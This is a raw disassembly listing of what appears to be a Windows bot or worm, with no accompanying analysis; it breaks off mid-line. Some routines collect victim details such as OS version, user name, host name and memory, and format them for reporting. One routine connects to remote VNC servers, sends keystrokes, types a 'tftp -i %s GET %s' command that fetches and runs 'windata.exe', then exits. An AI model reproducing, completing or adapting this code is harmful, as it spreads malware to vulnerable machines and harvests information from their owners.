= dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 7E8h push ebx push esi push edi lea eax, [ebp+70h+var_CC] push eax mov [ebp+70h+var_4], offset byte_42B633 mov [ebp+70h+var_CC], 94h call ds:dword_42B064 ; GetVersionExA xor ebx, ebx cmp [ebp+70h+var_C8], 4 jnz short loc_41D7EA cmp [ebp+70h+var_C4], ebx jnz short loc_41D7CC cmp [ebp+70h+var_BC], 1 jnz short loc_41D7B9 mov [ebp+70h+var_4], offset a95 ; "95" loc_41D7B9: ; CODE XREF: sub_41D779+37j cmp [ebp+70h+var_BC], 2 jnz loc_41D850 mov [ebp+70h+var_4], offset aNt_0 ; "NT" jmp short loc_41D827 ; --------------------------------------------------------------------------- loc_41D7CC: ; CODE XREF: sub_41D779+31j cmp [ebp+70h+var_C4], 0Ah jnz short loc_41D7DB mov [ebp+70h+var_4], offset a98 ; "98" jmp short loc_41D821 ; --------------------------------------------------------------------------- loc_41D7DB: ; CODE XREF: sub_41D779+57j cmp [ebp+70h+var_C4], 5Ah jnz short loc_41D81A mov [ebp+70h+var_4], offset aMe_0 ; "ME" jmp short loc_41D821 ; --------------------------------------------------------------------------- loc_41D7EA: ; CODE XREF: sub_41D779+2Cj cmp [ebp+70h+var_C8], 5 jnz short loc_41D81A cmp [ebp+70h+var_C4], ebx jnz short loc_41D7FE mov [ebp+70h+var_4], offset a2k ; "2K" jmp short loc_41D821 ; --------------------------------------------------------------------------- loc_41D7FE: ; CODE XREF: sub_41D779+7Aj cmp [ebp+70h+var_C4], 1 jnz short loc_41D80D mov [ebp+70h+var_4], offset aXp_0 ; "XP" jmp short loc_41D821 ; --------------------------------------------------------------------------- loc_41D80D: ; CODE XREF: sub_41D779+89j cmp [ebp+70h+var_C4], 2 mov [ebp+70h+var_4], offset a2003 ; "2003" jz short loc_41D821 loc_41D81A: ; CODE XREF: sub_41D779+66j ; sub_41D779+75j mov [ebp+70h+var_4], offset a??? ; "???" loc_41D821: ; CODE XREF: sub_41D779+60j ; sub_41D779+6Fj ... cmp [ebp+70h+var_BC], 2 jnz short loc_41D850 loc_41D827: ; CODE XREF: sub_41D779+51j cmp [ebp+70h+var_B8], bl jz short loc_41D850 lea eax, [ebp+70h+var_B8] push eax push [ebp+70h+var_4] lea eax, [ebp+70h+var_2E8] push offset aSS_4 ; "%s (%s)" push eax call sub_41E6A6 lea eax, [ebp+70h+var_2E8] add esp, 10h mov [ebp+70h+var_4], eax loc_41D850: ; CODE XREF: sub_41D779+44j ; sub_41D779+ACj ... push 3Fh pop ecx xor eax, eax mov [ebp+70h+var_25C], cx lea edi, [ebp+70h+var_25A] rep stosd stosw mov eax, ds:dword_444198 cmp eax, ebx mov [ebp+70h+var_C], 100h jz short loc_41D883 lea ecx, [ebp+70h+var_C] push ecx lea ecx, [ebp+70h+var_25C] push ecx call eax ; GetUserNameA loc_41D883: ; CODE XREF: sub_41D779+FBj push [ebp+70h+arg_4] call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr push 2 mov [ebp+70h+var_8], eax push 4 lea eax, [ebp+70h+var_8] push eax call ds:dword_4441FC ; gethostbyaddr cmp eax, ebx jz short loc_41D8AC push dword ptr [eax] jmp short loc_41D8B1 ; --------------------------------------------------------------------------- loc_41D8AC: ; CODE XREF: sub_41D779+12Dj push offset aCouldnTResolve ; "couldn't resolve host" loc_41D8B1: ; CODE XREF: sub_41D779+131j lea eax, [ebp+70h+var_3E4] push eax call sub_41E6A6 pop ecx pop ecx push 104h lea eax, [ebp+70h+var_4E8] push eax call ds:dword_42B010 ; GetSystemDirectoryA push 46h lea eax, [ebp+70h+var_114] push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx push ebx mov esi, 409h push esi call ds:dword_42B0C4 ; GetDateFormatA push 46h lea eax, [ebp+70h+var_15C] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_42B0C0 ; GetTimeFormatA push 20h lea eax, [ebp+70h+var_38] push ebx push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+70h+var_38] push eax call ds:dword_42B134 ; GlobalMemoryStatus push ebx push ebx push ebx lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_4E8] push eax call sub_41ED01 lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_7E8] push eax call sub_419549 push 60h pop ecx mov esi, eax lea edi, [ebp+70h+var_668] push ebx rep movsd call sub_41D5F8 add esp, 20h push eax lea eax, [ebp+70h+var_15C] push eax lea eax, [ebp+70h+var_114] push eax lea eax, [ebp+70h+var_25C] push eax push [ebp+70h+arg_4] call sub_4023C9 pop ecx push eax lea eax, [ebp+70h+var_3E4] push eax lea eax, [ebp+70h+var_4E8] push eax push [ebp+70h+var_C0] lea eax, [ebp+70h+var_5E8] push [ebp+70h+var_C4] push [ebp+70h+var_C8] push [ebp+70h+var_4] push eax lea eax, [ebp+70h+var_568] push eax mov eax, [ebp+70h+var_2C] shr eax, 0Ah push ebx push eax call sub_419443 pop ecx pop ecx push eax mov eax, [ebp+70h+var_30] shr eax, 0Ah push ebx push eax call sub_419443 pop ecx pop ecx push eax call sub_41D6C3 push edx push eax push offset dword_439160 push 200h push [ebp+70h+arg_0] call sub_41E6FE mov eax, [ebp+70h+arg_0] add esp, 50h pop edi pop esi pop ebx add ebp, 70h leave retn sub_41D779 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_41D9E5 proc near ; CODE XREF: sub_40274D+2593p ; sub_40274D+6F0Cp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+6Ch+var_8C] push 0 push eax call sub_41E5F0 add esp, 0Ch cmp ds:dword_44428C, 0 jnz short loc_41DA52 push 0 push esi lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_C] push eax call ds:dword_44425C ; InternetGetConnectedStateEx test eax, eax jnz short loc_41DA33 lea eax, [ebp+6Ch+var_8C] push offset aNotConnected ; "Not connected" push eax call sub_41E6A6 pop ecx pop ecx loc_41DA33: ; CODE XREF: sub_41D9E5+3Cj test [ebp+6Ch+var_C], 1 lea eax, [ebp+6Ch+var_8] jz short loc_41DA4B push offset aDialUp ; "Dial-up" loc_41DA41: ; CODE XREF: sub_41D9E5+6Bj push eax call sub_41E6A6 pop ecx pop ecx jmp short loc_41DA6E ; --------------------------------------------------------------------------- loc_41DA4B: ; CODE XREF: sub_41D9E5+55j push offset off_4392B0 jmp short loc_41DA41 ; --------------------------------------------------------------------------- loc_41DA52: ; CODE XREF: sub_41D9E5+27j mov esi, offset off_4392AC lea eax, [ebp+6Ch+var_8] push esi push eax call sub_41E6A6 lea eax, [ebp+6Ch+var_8C] push esi push eax call sub_41E6A6 add esp, 10h loc_41DA6E: ; CODE XREF: sub_41D9E5+64j push [ebp+6Ch+arg_4] push [ebp+6Ch+arg_8] call sub_4023C9 pop ecx push eax lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_8] push eax push offset dword_439268 push 200h push [ebp+6Ch+arg_0] call sub_41E6FE mov eax, [ebp+6Ch+arg_0] add esp, 1Ch pop esi add ebp, 6Ch leave retn sub_41D9E5 endp ; --------------------------------------------------------------------------- byte_41DAA1 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+7345o dd 0EC818C24h, 65Ch, 537C458Bh, 656A5756h, 8DF08B59h, 0FFFD18BDh dd 33A5F3FFh, 0BFDB33F6h, 80h, 0B0895746h, 190h, 0FF2C858Dh dd 5053FFFFh, 896C5D89h, 45C7705Dh, 43939C68h, 0B06E800h dd 8D570000h, 0FFFEAC85h, 0E85053FFh, 0AF8h, 0AC458D57h dd 0EDE85053h, 6800000Ah, 100h, 0FA18858Dh, 5053FFFFh dd 0ADBE8h, 5F3C6A00h, 2C458D57h, 0CDE85053h, 8300000Ah dd 458D3CC4h, 858D502Ch, 0FFFFFD1Ch, 7D895053h, 4075892Ch dd 894C7589h, 75895475h, 67AE85Ch, 50590000h, 0FD1C858Dh dd 0FF50FFFFh, 44407015h, 75C08500h, 18858D18h, 68FFFFFBh dd 439380h, 0B3CE850h, 0F38B0000h, 0EFE9h, 405D3900h, 75FF1576h dd 2C858D40h, 0FFFFFFFFh, 0E8503C75h, 0CD8h, 390CC483h dd 0B70F4C5Dh, 15764475h, 8D4C75FFh, 0FFFEAC85h, 4875FFFFh dd 0CBAE850h, 0C4830000h, 545D390Ch, 75FF1276h, 0AC458D54h dd 505075FFh, 0CA3E8h, 0CC48300h, 765C5D39h, 5C75FF15h dd 0FA18858Dh, 75FFFFFFh, 89E85058h, 8300000Ch, 53530CC4h dd 458D036Ah, 858D50ACh, 0FFFFFEACh, 858D5650h, 0FFFFFF2Ch dd 5435FF50h, 0FF004442h, 44413C15h, 3BF08B00h, 680775F3h dd 439354h, 68534AEBh, 200h, 5068458Dh, 0FD9C858Dh, 5350FFFFh dd 0FA18858Dh, 5350FFFFh, 2C15FF56h, 3B004441h, 704589C3h dd 24680775h, 0EB004393h, 5353531Bh, 15FF5053h, 444258h dd 774C085h, 43930868h, 6805EB00h, 4392CCh, 0FB18858Dh dd 0E850FFFFh, 0A46h, 0FEA09D39h, 5959FFFFh, 0FF532375h dd 0FFFEA4B5h, 18858DFFh, 50FFFFFBh, 0FE1C858Dh, 0FF50FFFFh dd 0FFFD18B5h, 35B1E8FFh, 0C483FFFEh, 18858D14h, 50FFFFFBh dd 0FFA0D7E8h, 0FF5659FFh, 44416415h, 7075FF00h, 416415FFh dd 0B5FF0044h, 0FFFFFE9Ch, 0FED494E8h, 0FF5359FFh, 42B06815h db 0, 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DCBE proc near ; CODE XREF: seg000:0041DEEAp ; seg000:0041DF08p ... var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_C = word ptr -0Ch var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx push esi push edi mov esi, offset dword_4393A8 lea edi, [ebp+var_14] movsd movsb mov esi, offset dword_4393A0 lea edi, [ebp+var_1C] movsd xor ebx, ebx cmp eax, ebx mov [ebp+var_4], 4 mov [ebp+var_C], 1 mov [ebp+var_8], bx movsw jnz short loc_41DD74 mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+arg_8], ebx loc_41DCFE: ; CODE XREF: sub_41DCBE+B2j mov eax, [ebp+arg_8] sub eax, ebx jz short loc_41DD1B dec eax jnz short loc_41DD69 push ebx push 1 lea eax, [ebp+var_4] push eax push esi call ds:dword_4441A0 ; send lea eax, [ebp+var_8] jmp short loc_41DD2C ; --------------------------------------------------------------------------- loc_41DD1B: ; CODE XREF: sub_41DCBE+45j push ebx push 1 lea eax, [ebp+var_4] push eax push esi call ds:dword_4441A0 ; send lea eax, [ebp+var_C] loc_41DD2C: ; CODE XREF: sub_41DCBE+5Bj push ebx push 1 push eax push esi call ds:dword_4441A0 ; send push edi call sub_41E1C0 cmp eax, 2 pop ecx push ebx jnz short loc_41DD4B push 4 lea eax, [ebp+var_14] jmp short loc_41DD50 ; --------------------------------------------------------------------------- loc_41DD4B: ; CODE XREF: sub_41DCBE+84j push 5 lea eax, [ebp+var_1C] loc_41DD50: ; CODE XREF: sub_41DCBE+8Bj push eax push esi call ds:dword_4441A0 ; send push ebx push edi call sub_41E1C0 pop ecx push eax push edi push esi call ds:dword_4441A0 ; send loc_41DD69: ; CODE XREF: sub_41DCBE+48j inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41DCFE jmp short loc_41DDE7 ; --------------------------------------------------------------------------- loc_41DD74: ; CODE XREF: sub_41DCBE+35j dec eax jz short loc_41DD90 dec eax jnz short loc_41DDE7 mov esi, [ebp+arg_0] push ebx push 1 lea eax, [ebp+var_4] push eax push esi call ds:dword_4441A0 ; send lea eax, [ebp+var_8] jmp short loc_41DDA4 ; --------------------------------------------------------------------------- loc_41DD90: ; CODE XREF: sub_41DCBE+B7j mov esi, [ebp+arg_0] push ebx push 1 lea eax, [ebp+var_4] push eax push esi call ds:dword_4441A0 ; send lea eax, [ebp+var_C] loc_41DDA4: ; CODE XREF: sub_41DCBE+D0j push ebx push 1 push eax push esi call ds:dword_4441A0 ; send push [ebp+arg_4] call sub_41E1C0 cmp eax, 2 pop ecx push ebx jnz short loc_41DDC5 push 4 lea eax, [ebp+var_14] jmp short loc_41DDCA ; --------------------------------------------------------------------------- loc_41DDC5: ; CODE XREF: sub_41DCBE+FEj push 5 lea eax, [ebp+var_1C] loc_41DDCA: ; CODE XREF: sub_41DCBE+105j push eax push esi call ds:dword_4441A0 ; send push ebx push [ebp+arg_4] call sub_41E1C0 pop ecx push eax push [ebp+arg_4] push esi call ds:dword_4441A0 ; send loc_41DDE7: ; CODE XREF: sub_41DCBE+B4j ; sub_41DCBE+BAj pop edi pop esi pop ebx leave retn sub_41DCBE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8Ch push ebx push esi push edi mov esi, offset aRfb003_008 ; "RFB 003.008\n" lea edi, [ebp-3Ch] movsd movsd movsd movsb mov esi, offset dword_4393D0 lea edi, [ebp-24h] movsw movsb mov esi, offset dword_4393A8 lea edi, [ebp-2Ch] movsd movsb mov esi, offset dword_4393CC lea edi, [ebp-18h] movsw movsb mov esi, offset dword_4393C8 lea edi, [ebp-10h] movsw xor ebx, ebx push ebx push 1 movsb push 2 mov word ptr [ebp-14h], 1 mov word ptr [ebp-20h], 1 mov word ptr [ebp-1Ch], 72h xor edi, edi call ds:dword_444100 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp-8], esi jnz short loc_41DE61 push eax call ds:dword_444218 ; closesocket loc_41DE61: ; CODE XREF: seg000:0041DE58j lea eax, [ebp+0Ch] push eax mov word ptr [ebp-4Ch], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax call ds:dword_444260 ; htons mov [ebp-4Ah], ax push 10h lea eax, [ebp-4Ch] push eax push esi call ds:dword_4440AC ; connect test eax, eax jnz loc_41E113 jmp loc_41E18C ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: seg000:0041E1B1j cmp eax, 0FFFFFFFFh jz short loc_41DED5 mov eax, edi sub eax, ebx jz loc_41E153 dec eax jz loc_41E121 dec eax jnz loc_41E183 lea eax, [ebp-2Ch] push eax lea eax, [ebp-8Ch] push eax call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_41E113 loc_41DED5: ; CODE XREF: seg000:0041DEA1j ; seg000:0041E186j ... push ebx push 1 lea eax, [ebp-20h] push eax push esi call ds:dword_4441A0 ; send push 1 lea eax, [ebp-18h] push eax push esi call sub_41DCBE mov esi, ds:dword_42B014 add esp, 0Ch mov edi, 3E8h push edi call esi ; Sleep push ebx lea eax, [ebp-1Ch] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 0Ch push edi call esi ; Sleep push 2 lea eax, [ebp-18h] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 0Ch push edi call esi ; Sleep push offset byte_4434E0 mov [ebp-4], ebx call sub_41E1C0 test eax, eax pop ecx mov ebx, offset aC_2 ; "%c" jbe short loc_41DF7D loc_41DF3E: ; CODE XREF: seg000:0041DF7Bj mov eax, [ebp-4] movsx eax, ds:byte_4434E0[eax] push eax push ebx lea eax, [ebp-0Ch] push 3 push eax call sub_41E6FE push 0 lea eax, [ebp-0Ch] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push offset byte_4434E0 call sub_41E1C0 cmp [ebp-4], eax pop ecx jb short loc_41DF3E loc_41DF7D: ; CODE XREF: seg000:0041DF3Cj push 0 lea eax, [ebp-10h] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 0Ch push 7D0h call esi ; Sleep push 100h push 0 push offset byte_4E27F0 call sub_41E5F0 add esp, 0Ch push offset aWindata_exe ; "windata.exe" push dword ptr [ebp+8] call sub_4023C9 pop ecx push eax push offset aTftpISGetS ; "tftp -i %s GET %s" push 0FFh push offset byte_4E27F0 call sub_41E6FE and dword ptr [ebp-4], 0 push offset byte_4E27F0 call sub_41E1C0 add esp, 18h test eax, eax jbe short loc_41E020 loc_41DFE1: ; CODE XREF: seg000:0041E01Ej mov eax, [ebp-4] movsx eax, ds:byte_4E27F0[eax] push eax push ebx lea eax, [ebp-0Ch] push 3 push eax call sub_41E6FE push 0 lea eax, [ebp-0Ch] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push offset byte_4E27F0 call sub_41E1C0 cmp [ebp-4], eax pop ecx jb short loc_41DFE1 loc_41E020: ; CODE XREF: seg000:0041DFDFj push edi call esi ; Sleep push 0 lea eax, [ebp-10h] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 0Ch push 7530h call esi ; Sleep and dword ptr [ebp-4], 0 push offset aWindata_exe ; "windata.exe" call sub_41E1C0 test eax, eax pop ecx jbe short loc_41E08D loc_41E04E: ; CODE XREF: seg000:0041E08Bj mov eax, [ebp-4] movsx eax, byte ptr ds:aWindata_exe[eax] ; "windata.exe" push eax push ebx lea eax, [ebp-0Ch] push 3 push eax call sub_41E6FE push 0 lea eax, [ebp-0Ch] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push offset aWindata_exe ; "windata.exe" call sub_41E1C0 cmp [ebp-4], eax pop ecx jb short loc_41E04E loc_41E08D: ; CODE XREF: seg000:0041E04Cj push edi call esi ; Sleep push 0 lea eax, [ebp-10h] push eax push dword ptr [ebp-8] call sub_41DCBE and dword ptr [ebp-4], 0 mov edi, offset aExit ; "exit" push edi call sub_41E1C0 add esp, 10h test eax, eax jbe short loc_41E0EF loc_41E0B4: ; CODE XREF: seg000:0041E0EDj mov eax, [ebp-4] movsx eax, byte ptr ds:aExit[eax] ; "exit" push eax push ebx lea eax, [ebp-0Ch] push 3 push eax call sub_41E6FE push 0 lea eax, [ebp-0Ch] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 1Ch push 7Dh call esi ; Sleep inc dword ptr [ebp-4] push edi call sub_41E1C0 cmp [ebp-4], eax pop ecx jb short loc_41E0B4 loc_41E0EF: ; CODE XREF: seg000:0041E0B2j push 2 pop edi loc_41E0F2: ; CODE XREF: seg000:0041E10Bj push 258h call esi ; Sleep push 0 lea eax, [ebp-10h] push eax push dword ptr [ebp-8] call sub_41DCBE add esp, 0Ch dec edi jnz short loc_41E0F2 mov esi, [ebp-8] xor ebx, ebx inc ebx loc_41E113: ; CODE XREF: seg000:0041DE93j ; seg000:0041DECFj ... push esi call ds:dword_444218 ; closesocket pop edi pop esi mov eax, ebx pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E121: ; CODE XREF: seg000:0041DEAEj lea eax, [ebp-24h] push eax lea eax, [ebp-8Ch] push eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_41E113 lea eax, [ebp-14h] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp-14h] push eax push esi call ds:dword_4441A0 ; send push 2 pop edi jmp short loc_41E18C ; --------------------------------------------------------------------------- loc_41E153: ; CODE XREF: seg000:0041DEA7j lea eax, [ebp-3Ch] push eax lea eax, [ebp-8Ch] push eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_41E113 lea eax, [ebp-3Ch] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp-3Ch] push eax push esi call ds:dword_4441A0 ; send xor edi, edi inc edi loc_41E183: ; CODE XREF: seg000:0041DEB5j cmp edi, 3 jz loc_41DED5 loc_41E18C: ; CODE XREF: seg000:0041DE99j ; seg000:0041E151j push 40h lea eax, [ebp-8Ch] push ebx push eax call sub_41E5F0 add esp, 0Ch push ebx push 40h lea eax, [ebp-8Ch] push eax push esi call ds:dword_444064 ; recv cmp eax, ebx jg loc_41DE9E jmp loc_41DED5 ; --------------------------------------------------------------------------- dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= sub_41E1C0 proc near ; CODE XREF: sub_401000+38p ; sub_4011F5+2Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41E1F0 loc_41E1CC: ; CODE XREF: sub_41E1C0+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_41E223 test ecx, 3 jnz short loc_41E1CC add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_41E1F0: ; CODE XREF: sub_41E1C0+Aj ; sub_41E1C0+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41E1F0 mov eax, [ecx-4] test al, al jz short loc_41E241 test ah, ah jz short loc_41E237 test eax, 0FF0000h jz short loc_41E22D test eax, 0FF000000h jz short loc_41E223 jmp short loc_41E1F0 ; --------------------------------------------------------------------------- loc_41E223: ; CODE XREF: sub_41E1C0+13j ; sub_41E1C0+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41E22D: ; CODE XREF: sub_41E1C0+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41E237: ; CODE XREF: sub_41E1C0+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41E241: ; CODE XREF: sub_41E1C0+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41E1C0 endp ; =============== S U B R O U T I N E ======================================= sub_41E24B proc near ; CODE XREF: sub_40274D+55FCp ; sub_40274D+71BCp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] push edi or edi, 0FFFFFFFFh test al, 40h jz short loc_41E260 or eax, 0FFFFFFFFh jmp short loc_41E29A ; --------------------------------------------------------------------------- loc_41E260: ; CODE XREF: sub_41E24B+Ej test al, 83h jz short loc_41E298 push esi call sub_420FC7 push esi mov edi, eax call sub_420F9C push dword ptr [esi+10h] call sub_420EE9 add esp, 0Ch test eax, eax jge short loc_41E286 or edi, 0FFFFFFFFh jmp short loc_41E298 ; --------------------------------------------------------------------------- loc_41E286: ; CODE XREF: sub_41E24B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41E298 push eax call sub_41E2A1 and dword ptr [esi+1Ch], 0 pop ecx loc_41E298: ; CODE XREF: sub_41E24B+17j ; sub_41E24B+39j ... mov eax, edi loc_41E29A: ; CODE XREF: sub_41E24B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41E24B endp ; =============== S U B R O U T I N E ======================================= sub_41E2A1 proc near ; CODE XREF: sub_4022F5+BCp ; sub_40AE18+5Ep ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41E2D7 cmp ds:dword_4E2F00, 3 push esi jnz short loc_41E2C9 call sub_421188 test eax, eax pop ecx push esi jz short loc_41E2C9 push eax call sub_4211B3 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E2A1+11j ; sub_41E2A1+1Cj push 0 push ds:dword_4E2EFC call ds:dword_42B0E0 ; RtlFreeHeap loc_41E2D7: ; CODE XREF: sub_41E2A1+7j pop esi retn sub_41E2A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2D9 proc near ; CODE XREF: seg000:00411ACBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov ecx, edi mov [ebp+var_8], edi mov [ebp+arg_0], ecx jnz short loc_41E2FD xor eax, eax jmp loc_41E3A8 ; --------------------------------------------------------------------------- loc_41E2FD: ; CODE XREF: sub_41E2D9+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41E311 mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_41E31D ; --------------------------------------------------------------------------- loc_41E311: ; CODE XREF: sub_41E2D9+2Ej mov [ebp+var_4], 1000h jmp short loc_41E31D ; --------------------------------------------------------------------------- loc_41E31A: ; CODE XREF: sub_41E2D9+C5j mov ecx, [ebp+arg_0] loc_41E31D: ; CODE XREF: sub_41E2D9+36j ; sub_41E2D9+3Fj test word ptr [esi+0Ch], 10Ch jz short loc_41E34F mov eax, [esi+4] test eax, eax jz short loc_41E34F cmp ecx, eax mov edi, ecx jb short loc_41E334 mov edi, eax loc_41E334: ; CODE XREF: sub_41E2D9+57j push edi push dword ptr [esi] push ebx call sub_41F400 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_8] jmp short loc_41E39A ; --------------------------------------------------------------------------- loc_41E34F: ; CODE XREF: sub_41E2D9+4Aj ; sub_41E2D9+51j cmp ecx, [ebp+var_4] jb short loc_41E382 cmp [ebp+var_4], 0 mov eax, ecx jz short loc_41E365 xor edx, edx div [ebp+var_4] mov eax, ecx sub eax, edx loc_41E365: ; CODE XREF: sub_41E2D9+81j push eax push ebx push dword ptr [esi+10h] call sub_421D41 add esp, 0Ch test eax, eax jz short loc_41E3AC cmp eax, 0FFFFFFFFh jz short loc_41E3BC sub [ebp+arg_0], eax add ebx, eax jmp short loc_41E39A ; --------------------------------------------------------------------------- loc_41E382: ; CODE XREF: sub_41E2D9+79j push esi call sub_421C63 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E3B0 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+var_4], eax loc_41E39A: ; CODE XREF: sub_41E2D9+74j ; sub_41E2D9+A7j cmp [ebp+arg_0], 0 jnz loc_41E31A mov eax, [ebp+arg_8] loc_41E3A7: ; CODE XREF: sub_41E2D9+E1j pop esi loc_41E3A8: ; CODE XREF: sub_41E2D9+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E2D9+9Bj or dword ptr [esi+0Ch], 10h loc_41E3B0: ; CODE XREF: sub_41E2D9+B3j ; sub_41E2D9+E7j mov eax, edi sub eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] jmp short loc_41E3A7 ; --------------------------------------------------------------------------- loc_41E3BC: ; CODE XREF: sub_41E2D9+A0j or dword ptr [esi+0Ch], 20h jmp short loc_41E3B0 sub_41E2D9 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C2 proc near ; CODE XREF: sub_42319B+34p ; sub_42319B+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push ebp push edi jnz short loc_41E3DC push [esp+0Ch+arg_4] call sub_41E5D3 pop ecx jmp loc_41E520 ; --------------------------------------------------------------------------- loc_41E3DC: ; CODE XREF: sub_41E3C2+9j push esi mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_41E3F1 push ebx call sub_41E2A1 pop ecx jmp loc_41E51D ; --------------------------------------------------------------------------- loc_41E3F1: ; CODE XREF: sub_41E3C2+21j cmp ds:dword_4E2F00, 3 jnz loc_41E4E9 loc_41E3FE: ; CODE XREF: sub_41E3C2+11Bj xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41E4CB push ebx call sub_421188 mov ebp, eax test ebp, ebp pop ecx jz loc_41E4AA cmp esi, ds:dword_4E2EEC ja short loc_41E46A push esi push ebx push ebp call sub_421688 add esp, 0Ch test eax, eax jz short loc_41E435 mov edi, ebx jmp short loc_41E466 ; --------------------------------------------------------------------------- loc_41E435: ; CODE XREF: sub_41E3C2+6Dj push esi call sub_421967 mov edi, eax test edi, edi pop ecx jz short loc_41E46A mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41E44C mov eax, esi loc_41E44C: ; CODE XREF: sub_41E3C2+86j push eax push ebx push edi call sub_41F400 push ebx call sub_421188 mov ebp, eax push ebx push ebp call sub_4211B3 add esp, 18h loc_41E466: ; CODE XREF: sub_41E3C2+71j test edi, edi jnz short loc_41E4A6 loc_41E46A: ; CODE XREF: sub_41E3C2+5Ej ; sub_41E3C2+7Ej test esi, esi jnz short loc_41E46F inc esi loc_41E46F: ; CODE XREF: sub_41E3C2+AAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_4E2EFC call ds:dword_42B0E4 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41E4A6 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41E494 mov eax, esi loc_41E494: ; CODE XREF: sub_41E3C2+CEj push eax push ebx push edi call sub_41F400 push ebx push ebp call sub_4211B3 add esp, 14h loc_41E4A6: ; CODE XREF: 